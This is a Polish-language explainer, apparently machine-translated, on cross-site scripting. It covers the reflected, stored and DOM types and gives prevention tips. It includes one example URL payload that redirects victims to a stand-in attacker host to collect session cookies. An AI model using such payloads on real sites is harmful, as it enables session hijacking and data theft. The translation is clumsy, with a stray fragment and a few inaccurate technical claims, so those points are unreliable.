Jak hakerzy wykorzystują skrypty między witrynami do łamania witryn internetowych i kradzieży danych

Skrypty między witrynami lub XSS mogą być silnym i szybkim atakiem. Jako programista możesz nawet wziąć to za błąd w swoim kodzie i skończyć szukać błędów, których tam nie ma.

Jako klient korzystający z podatnej witryny internetowej możesz również niewinnie ujawnić atakującemu istotne informacje o dostępie do uwierzytelniania.

Więc co to jest cross-site scripting? W jaki sposób hakerzy mogą go wykorzystać, aby włamać się do witryny internetowej i wykraść Twoje dane? Jak można zminimalizować takie ryzyko?

Co to są skrypty między witrynami?

Cross-site scripting lub XSS ma miejsce, gdy skrypt ze złośliwej witryny wchodzi w interakcję z kodem na podatnej stronie.

Jednak serwery są połączone w sposób uniemożliwiający osobom bez uwierzytelniania dostęp do kodu źródłowego Twojej witryny i edytowanie go.

Internet wykorzystuje te same zasady pochodzenia (SOP) do blokowania interakcji między witrynami. Jednak SOP sprawdza trzy główne luki w zabezpieczeniach i próbuje je złagodzić. Oni są:

• Zasady protokołu internetowego sprawdzające, czy obie witryny dostarczają treści przy użyciu bezpiecznego protokołu SSL (HTTPS) lub niezabezpieczonego adresu URL (HTTP).
  instagram viewer
• Te same zasady dotyczące hosta internetowego, które zapewniają, że hostujesz obie witryny w tej samej domenie.
• Zasady dotyczące portów, które sprawdzają, czy obie witryny używają podobnych punktów końcowych komunikacji.

SOP stanowi, że jeśli którakolwiek z tych zasad jest inna dla dowolnych dwóch witryn internetowych, nie mogą one czytać ani wymieniać danych w Internecie.

Ale JavaScript jest językiem manipulacyjnym, który określa responsywność witryny. Chociaż JavaScript Twojej witryny jest najprawdopodobniej w osobnym pliku, możesz także utworzyć tag skryptu i zapisać go w swoim Document Object Model (DOM).

Osoba atakująca XSS może więc pomyśleć: „jeśli możesz napisać JavaScript w DOM, to ostatecznie możesz go wykonać w dowolny edytor kodu lub pole wejściowe, które akceptuje tagi HTML ”.

Taka luka i szansa jest tym, na co atakujący korzystający z XSS szuka w docelowej witrynie internetowej. Gdy znajdą taką lukę, mogą ominąć SOP.

Związane z: Kompletna ściągawka JavaScript

Dlatego XSS jest atakiem wykorzystywanym przez porywaczy do umieszczania skryptu wykonującego złośliwą akcję na podatnej stronie internetowej. Skrypt może odnosić się do niezabezpieczonych formularzy lub pól wejściowych, które akceptują dane.

Jak działają skrypty między witrynami i typy, z przykładami

XSS może polegać na szybkim wykonaniu odbitego lub tymczasowego skryptu, który atakujący umieszcza w formularzach, takich jak pola wyszukiwania. Może to być również dokuczliwy lub uporczywy, wstrzyknięty do bazy danych. Lub może nastąpić pasywnie po załadowaniu strony.

W niektórych przypadkach ten skrypt może również zmienić oryginalne dane wejściowe ofiary, aby odwrócić jej zamiary. Trwała zmiana w danych wejściowych użytkownika, taka jak ta, to mutujący XSS.

Niezależnie od formy, celem ataku XSS jest kradzież danych ofiary za pomocą ujawnionych plików cookie i dzienników.

Spójrzmy na krótkie wyjaśnienie każdego z tych typów ataków XSS i ich przykłady, aby zrozumieć, czym one są.

Co to jest odbity XSS?

Odbity lub tymczasowy XSS to bezpośrednie wstrzyknięcie kodu JavaScript do pola wejściowego użytkownika. Jest skierowany do żądań pobierających dane z bazy danych, takie jak wyniki wyszukiwania. Ale to atak na jednego klienta.

Podczas odbitego XSS atakujący wstawia skrypt do wyszukiwanego hasła ofiary. Taki JavaScript może być echem, przekierowaniem lub kolektorem plików cookie.

Skrypt wstrzyknięty do pola wejściowego wyszukiwania jest następnie wykonywany, gdy tylko klient docelowy prześle zapytanie.

Na przykład podczas wyszukiwania użytkownika osoba atakująca może wstawić kod JavaScript, który powtarza formularz, prosząc ofiarę o wprowadzenie hasła lub nazwy użytkownika. Gdy użytkownik to zrobi, może nieświadomie przesłać swoje dane uwierzytelniające napastnikowi, myśląc, że jest to żądanie z oryginalnej witryny.

Czasami osoba atakująca może również użyć skryptu, aby przekierować użytkownika z podatnej strony na jego stronę. Na stronie atakującego niczego nie podejrzewającego użytkownika można oszukać i wprowadzić kilka formularzy, co prowadzi do wycieku poświadczeń.

Podobnie, jeśli celem jest kradzież sesji użytkownika, osoba atakująca wstrzykuje skrypt gromadzący pliki cookie do wyszukiwanego hasła użytkownika. Następnie przejmują bieżącą sesję użytkownika, wykradają istotne informacje i przejmują działania ofiary.

Poniższy przykładowy atak XSS kradnie plik cookie użytkownika za pośrednictwem żądania GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

W powyższym przykładzie XSS osoba atakująca znajduje lukę w podatnej witrynie internetowej. Kiedy więc użytkownik wyszukuje niedostępny zasób w podatnej witrynie, przekierowuje go na stronę atakującego. Atakujący następnie zapisuje plik cookie bieżącego użytkownika i przechwytuje jego sesję.

Jednak ta luka jest powszechna, gdy akcja zapytania witryny nie jest filtrowana w celu sprawdzenia wstrzyknięć skryptów za pomocą HTML.

Ale nawet jeśli istnieje filtrowane zapytanie, osoba atakująca może to ominąć, uciekając się do desperackich środków, takich jak wysyłanie linków do potencjalnych użytkowników witryny w czasie rzeczywistym. Mogą to zrobić za pomocą dowolnego forma inżynierii społecznej dostępne dla nich.

Związane z: Co zrobić, gdy padniesz ofiarą ataku phishingowego

Gdy ofiary klikną takie łącze, porywacz może teraz z powodzeniem przeprowadzić atak XSS i ukraść odpowiednie dane ofiary.

Trwałe lub przechowywane skrypty między witrynami

Przechowywany XSS stwarza więcej zagrożeń. W takim przypadku osoba atakująca przechowuje skrypt w bazie danych witryny internetowej, wyzwalając trwałe wykonywanie przechowywanego skryptu. Przechowywany kod może działać podczas ładowania strony lub po załadowaniu strony.

W przeciwieństwie do tymczasowej formy XSS, przechowywany XSS jest przeznaczony dla całej bazy użytkowników podatnej strony internetowej. Oprócz tego atakuje również integralność witryny, której dotyczy luka.

Podczas trwałego XSS osoba atakująca wykorzystuje pola wejściowe, takie jak formularze komentarzy, w celu umieszczenia skryptu w bazie danych witryny internetowej.

Ale co, jeśli chronisz pola POST tokenami CSRF? Niestety, przechowywane skrypty między witrynami omijają testy CSRF.

Dzieje się tak, ponieważ osoba atakująca przesyła formularz, jak każdy inny użytkownik witryny. Tak więc taki formularz komentarza wysyła skrypt do bazy danych, tak jak wszystkie inne komentarze.

Taki atak może się zdarzyć, gdy pola wejściowe w witrynie internetowej nie używają odpowiednich środków dezynfekujących do ucieczki skryptów i tagów HTML.

Wyobraź sobie użytkownika zamieszczającego poniższy skrypt za pomocą internetowego formularza komentarzy:

Gdy atakujący wstawia taki kod do bazy danych witryny, przekierowuje ofiarę do witryny napastnika podczas ładowania strony. Skrypt może być również ostrzeżeniem, interaktywnym polem modalnym lub osadzoną złośliwą reklamą.

Ponieważ skrypt przekierowuje podczas ładowania strony, ofiara, która nie jest zaznajomiona z podatną witryną, może nie zauważyć przekierowania.

Następnie wchodzą w interakcję z witryną atakującego. Jednak porywacz może następnie użyć kilku sposobów, aby uzyskać informacje od ofiar, gdy znajdą się na swojej stronie internetowej.

Co to jest DOM lub pasywny XSS?

XSS oparty na modelu DOM wykonuje złośliwy kod osadzony w witrynie, zmuszając cały DOM po stronie klienta do nietypowego zachowania.

Podczas gdy przechowywane i odzwierciedlone XSS są skierowane do żądań po stronie serwera w witrynie, DOM XSS jest ukierunkowany na działania w czasie wykonywania. Działa poprzez wstawienie skryptu do komponentu witryny, który wykonuje określone zadanie. Ten składnik nie wykonuje akcji po stronie serwera.

Jednak skrypt wstawiony do takiego komponentu całkowicie zmienia jego przeznaczenie. Jeśli ten komponent wykonuje zadanie związane z DOM, na przykład te, które zmieniają elementy witryny, skrypt może wymusić zmianę całej strony internetowej.

W gorszych przypadkach XSS oparty na DOM może imitować błąd. Dzieje się tak, ponieważ strona internetowa staje się niezwykle reaktywna.

Jak zapobiec atakowi opartemu na skryptach między lokacjami

Luka w zabezpieczeniach XSS wynika z niewłaściwego użycia najlepszych praktyk backendowych. Tak więc za zapobieganie atakowi typu cross-site scripting jest zwykle odpowiedzialny programista. Ale użytkownicy również mają do odegrania rolę.

Używanie tokena CSFR do pól wejściowych nie wydaje się rozwiązaniem dla ataków XSS. A ponieważ ten atak omija również tę samą politykę pochodzenia, programiści muszą uważać, aby nie pomijać praktyk bezpieczeństwa, które uniemożliwiają XSS.

Poniższe środki zapobiegawcze są pomocne dla programistów.

Oczyść pola danych wejściowych

Aby zapobiec zarówno przechowywanym, jak i tymczasowym XSS, powinieneś używać skutecznych środków dezynfekujących dla pól wejściowych. Na przykład oczyszczanie zapytań wyszukiwania zapobiega wstawianiu tagów do wyszukiwanych haseł użytkowników.

Użyj Unicode i HTML Auto Escape

Pomocne jest użycie funkcji automatycznego zmiany znaczenia HTML i Unicode, aby zapobiec akceptowaniu skryptów i tagów HTML przez pola wejściowe, takie jak komentarze i formularze konwersji. Automatyczna ucieczka jest silnym środkiem zapobiegawczym przeciwko przechowywanym lub trwałym XSS.

Umożliwienie użytkownikom wstawiania tagów do formularzy komentarzy jest złym pomysłem dla każdej witryny internetowej. To naruszenie bezpieczeństwa. Jeśli jednak musisz na to zezwolić, powinieneś akceptować tylko tagi, które nie stanowią zagrożenia XSS.

Użyj odpowiedniej weryfikacji danych wejściowych

Nawet jeśli całkowicie zablokujesz tagi, osoba atakująca nadal może przeprowadzić atak XSS za pomocą środków społecznościowych. Mogą wysyłać e-maile zamiast umieszczać cokolwiek bezpośrednio w podatnej na ataki witrynie.

Zatem inną metodą zapobiegania temu jest efektywne sprawdzanie poprawności danych wejściowych. Takie środki obejmują weryfikację protokołów i zapewnienie, że Twoja witryna akceptuje tylko dane wejściowe z bezpiecznego protokołu HTTPS, a nie HTTP.

Korzystanie z dedykowanych bibliotek JavaScript, takich jak dompurify, może również pomóc w blokowaniu naruszeń bezpieczeństwa związanych z XSS.

Możesz użyć narzędzi takich jak Skaner XSS lub GEEKFLARE aby sprawdzić luki w zabezpieczeniach XSS w Twojej witrynie.

Jak użytkownicy mogą zapobiegać XSS

Obecnie w internecie są miliony witryn. Dlatego trudno powiedzieć, który z nich ma problemy z bezpieczeństwem XSS.

Jednak jako użytkownik powinieneś upewnić się, że znasz każdą usługę sieciową przed jej użyciem. Jeśli strona internetowa nagle staje się przerażająca lub zaczyna zachowywać się nietypowo, może to oznaczać czerwoną flagę.

W każdym przypadku uważaj, aby nie ujawniać danych osobowych niezaufanej stronie trzeciej. Następnie szukaj niechcianych e-maili lub podejrzanych postów w mediach społecznościowych, które mogą skutkować jakimikolwiek forma ataków phishingowych.

Żadna pojedyncza metoda zapobiegawcza nie pasuje do wszystkich

Widzieliśmy, jak wygląda atak XSS i jak mu zapobiec. Łatwo zapomnieć o kontrolach bezpieczeństwa XSS podczas programowania. Dlatego programiści powinni podjąć kroki, aby zapewnić, że ochrona nie zostanie pominięta. Jednak połączenie środków zapobiegawczych, które wymieniliśmy wcześniej, działa lepiej.

Czym są ataki CSRF i jak im zapobiegać?

Aby zapobiec utracie gotówki i danych uwierzytelniających w atakach CSRF, rolę do odegrania mają zarówno programiści, jak i użytkownicy.

O autorze